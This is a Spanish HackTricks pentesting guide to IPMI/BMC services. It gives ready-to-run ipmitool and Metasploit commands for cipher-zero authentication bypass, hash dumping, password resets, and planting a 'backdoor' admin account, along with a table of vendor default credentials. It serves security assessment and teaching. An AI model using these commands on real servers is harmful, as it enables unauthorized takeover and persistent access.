hacktricks/network-services-pentesting/623-udp-ipmi.md

16 KiB

623/UDP/TCP - IPMI

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Información básica

La Interfaz de Gestión de Plataforma Inteligente (IPMI) es un conjunto de especificaciones estandarizadas para sistemas de gestión de host basados en hardware utilizados para la gestión y monitorización del sistema. Actúa como un subsistema autónomo y funciona de forma independiente de la BIOS, CPU, firmware y sistema operativo subyacente del host. IPMI proporciona a los administradores del sistema la capacidad de gestionar y monitorizar sistemas incluso si están apagados o en un estado no receptivo. Opera utilizando una conexión directa de red al hardware del sistema y no requiere acceso al sistema operativo a través de una shell de inicio de sesión. IPMI también se puede utilizar para actualizaciones remotas de sistemas sin necesidad de acceso físico al host de destino. IPMI se utiliza típicamente de tres maneras:

  • Antes de que se haya iniciado el sistema operativo para modificar la configuración de la BIOS
  • Cuando el host está completamente apagado
  • Acceso a un host después de un fallo del sistema

Cuando no se utiliza para estas tareas, IPMI puede monitorizar una serie de cosas diferentes, como la temperatura del sistema, el voltaje, el estado del ventilador y las fuentes de alimentación. También se puede utilizar para consultar información de inventario, revisar registros de hardware y alertar mediante SNMP. El sistema host puede estar apagado, pero el módulo IPMI requiere una fuente de alimentación y una conexión LAN para funcionar correctamente.

El protocolo IPMI fue publicado por primera vez por Intel en 1998 y ahora es compatible con más de 200 proveedores de sistemas, incluyendo Cisco, Dell, HP, Supermicro, Intel y más. Los sistemas que utilizan la versión 2.0 de IPMI pueden ser administrados a través de serie sobre LAN, lo que da a los administradores del sistema la capacidad de ver la salida de la consola serie en banda. Para funcionar, IPMI requiere los siguientes componentes:

  • Controlador de gestión de placa base (BMC) - Un microcontrolador y componente esencial de un IPMI
  • Bus de gestión de chasis inteligente (ICMB) - Una interfaz que permite la comunicación de un chasis a otro
  • Bus de gestión de plataforma inteligente (IPMB) - extiende el BMC
  • Memoria IPMI - almacena cosas como el registro de eventos del sistema, los datos del repositorio de almacenamiento y más
  • Interfaces de comunicaciones - interfaces de sistema local, interfaces serie y LAN, ICMB y bus de gestión PCI

Puerto predeterminado: 623/UDP/TCP (normalmente se ejecuta en UDP pero también podría estar en TCP)

Enumeración

Descubrimiento

nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use  auxiliary/scanner/ipmi/ipmi_version

Puedes identificar la versión usando:

use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10

Vulnerabilidad - Bypass de autenticación IPMI a través del cifrado 0

Dan Farmer identificó una falla grave en la especificación IPMI 2.0, a saber, que el tipo de cifrado 0, un indicador de que el cliente desea utilizar la autenticación de texto sin formato, en realidad permite el acceso con cualquier contraseña. Se identificaron problemas de cifrado 0 en los BMC de HP, Dell y Supermicro, y es probable que el problema abarque todas las implementaciones de IPMI 2.0.
Tenga en cuenta que para explotar este problema primero debe encontrar un usuario válido.

Puede identificar este problema usando:

use auxiliary/scanner/ipmi/ipmi_cipher_zero

Y puedes abusar de este problema con ipmitool:

apt-get install ipmitool #Install
#Using -C 0 any password is accepted
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list #Use Cipher 0 to dump a list of users
ID  Name      Callin  Link Auth   IPMI Msg   Channel Priv Limit
2   root             true    true       true       ADMINISTRATOR
3   Oper1            true    true       true       ADMINISTRATOR
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 #Change the password of root

Vulnerabilidad - Recuperación remota de hash de contraseña de autenticación RAKP de IPMI 2.0

Básicamente, puedes solicitar al servidor la sal y el hash MD5 y SHA1 de cualquier nombre de usuario y si el nombre de usuario existe, se enviarán de vuelta esos hashes. Sí, tan increíble como suena. Y hay un módulo de metasploit para probar esto (puedes seleccionar el formato de salida en John o Hashcat):

msf > use auxiliary/scanner/ipmi/ipmi_dumphashes

Nota que para esto solo necesitas una lista de nombres de usuario para hacer fuerza bruta (metasploit ya contiene una con nombres de usuario predeterminados).

Usando ipmitool para saltar la autenticación (-c 0) y cambiar la contraseña de root a abc123:

root@kali:~# apt-get install ipmitool
root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list
ID  Name      Callin  Link Auth   IPMI Msg   Channel Priv Limit
2   root             true    true       true       ADMINISTRATOR
3   Oper1            true    true       true       ADMINISTRATOR
root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123

Vulnerabilidad - Autenticación Anónima IPMI

Además de los problemas de autenticación mencionados anteriormente, Dan Farmer señaló que muchos BMC se envían con acceso "anónimo" habilitado por defecto. Esto se configura estableciendo el nombre de usuario de la primera cuenta de usuario en una cadena nula y estableciendo una contraseña nula para que coincida. El módulo ipmi_dumphashes identificará y volcará las contraseñas hash (incluyendo contraseñas en blanco) para cuentas de usuario nulas. Esta cuenta puede ser difícil de usar por sí sola, pero podemos aprovechar ipmitool para restablecer la contraseña de una cuenta de usuario nombrada y aprovechar esa cuenta para acceder a otros servicios:

ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list

ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
1                    false  false      true      ADMINISTRATOR
2  root            false  false      true      ADMINISTRATOR
3  admin            true    true      true      ADMINISTRATOR

ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword #Change the password of the user 2 (root) to "newpassword"

Vulnerabilidad - Contraseñas en texto claro de IPMI de Supermicro

La especificación IPMI 2.0 exige que el BMC responda a los métodos de autenticación basados en HMAC como SHA1 y MD5. Este proceso de autenticación tiene algunas debilidades graves, como se demostró en ejemplos anteriores, pero también requiere acceso a la contraseña en texto claro para calcular el hash de autenticación. Esto significa que el BMC debe almacenar una versión en texto claro de todas las contraseñas de usuario configuradas en algún lugar de almacenamiento no volátil. En el caso de Supermicro, esta ubicación cambia entre las versiones de firmware, pero es /nv/PSBlock o /nv/PSStore. Las contraseñas están dispersas entre varios bloques binarios, pero son fáciles de identificar ya que siempre siguen al nombre de usuario. Este es un problema grave para cualquier organización que use contraseñas compartidas entre BMC o incluso diferentes tipos de dispositivos.

 cat /nv/PSBlock
  admin                      ADMINpassword^TT                    rootOtherPassword!

Vulnerabilidad - Supermicro IPMI UPnP

Supermicro incluye un escucha UPnP SSDP que se ejecuta en el puerto UDP 1900 en el firmware IPMI de muchas de sus placas base recientes. En versiones anteriores a SMT_X9_218, este servicio ejecutaba el SDK de Intel para dispositivos UPnP, versión 1.3.1. Esta versión es vulnerable a los problemas que Rapid7 reveló en febrero de 2013, y un exploit para esta plataforma es parte del Metasploit Framework. Lo interesante de este ataque es que proporciona acceso root completo al BMC, algo que de otra manera es difícil de obtener. Tenga en cuenta que un atacante con acceso administrativo, ya sea a través de la red o desde una shell root en el sistema host, puede degradar el firmware de un BMC de Supermicro a una versión vulnerable y luego explotarlo. Una vez que se obtiene el acceso root, es posible leer credenciales en texto claro desde el sistema de archivos, instalar software adicional e integrar puertas traseras permanentes en el BMC que sobrevivirían a una reinstalación completa del sistema operativo del host.

msf> use exploit/multi/upnp/libupnp_ssdp_overflow

Fuerza Bruta

Tenga en cuenta que solo HP aleatoriza la contraseña durante el proceso de fabricación.

Nombre del producto Nombre de usuario predeterminado Contraseña predeterminada
HP Integrated Lights Out (iLO) Administrator <cadena aleatoria de 8 caracteres de fábrica>
Dell Remote Access Card (iDRAC, DRAC) root calvin
IBM Integrated Management Module (IMM) USERID PASSW0RD (con un cero)
Fujitsu Integrated Remote Management Controller admin admin
Supermicro IPMI (2.0) ADMIN ADMIN
Oracle/Sun Integrated Lights Out Manager (ILOM) root changeme
ASUS iKVM BMC admin admin

Explotando el Host desde el BMC

Una vez que se obtiene acceso administrativo al BMC, hay varios métodos disponibles que se pueden utilizar para obtener acceso al sistema operativo del host. El camino más directo es abusar de la funcionalidad KVM del BMC y reiniciar el host a una shell de root (init=/bin/sh en GRUB) o especificar un disco de rescate como una unidad de CD-ROM virtual y arrancar desde allí. Una vez que se obtiene acceso sin procesar al disco del host, es trivial introducir una puerta trasera, copiar datos del disco duro o hacer cualquier cosa que necesite hacerse como parte de la evaluación de seguridad. La gran desventaja, por supuesto, es que el host debe reiniciarse para usar este método. Obtener acceso al host en ejecución es mucho más complicado y depende de lo que esté ejecutando el host. Si la consola física del host se deja iniciada, se vuelve trivial secuestrarla usando la funcionalidad KVM incorporada. Lo mismo se aplica a las consolas serie: si el puerto serie está conectado a una sesión autenticada, el BMC puede permitir que este puerto sea secuestrado usando la interfaz ipmitool para serie-over-LAN (sol). Un camino que aún necesita más investigación es abusar del acceso a hardware compartido, como el bus i2c y el chip Super I/O.

Explotando el BMC desde el Host

En situaciones en las que se ha comprometido un host con un BMC, se puede utilizar la interfaz local del BMC para introducir una cuenta de usuario de puerta trasera, y desde allí establecer un punto de apoyo permanente en el servidor. Este ataque requiere que ipmitool esté instalado en el host y que se haya habilitado el soporte del controlador para el BMC. El siguiente ejemplo demuestra cómo se puede utilizar la interfaz local en el host, que no requiere autenticación, para inyectar una nueva cuenta de usuario en el BMC. Este método es universal en Linux, Windows, BSD e incluso en objetivos DOS.

ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)

ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)
4  backdoor        true    false      true      ADMINISTRATOR

Shodan

  • port:623

Referencias

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥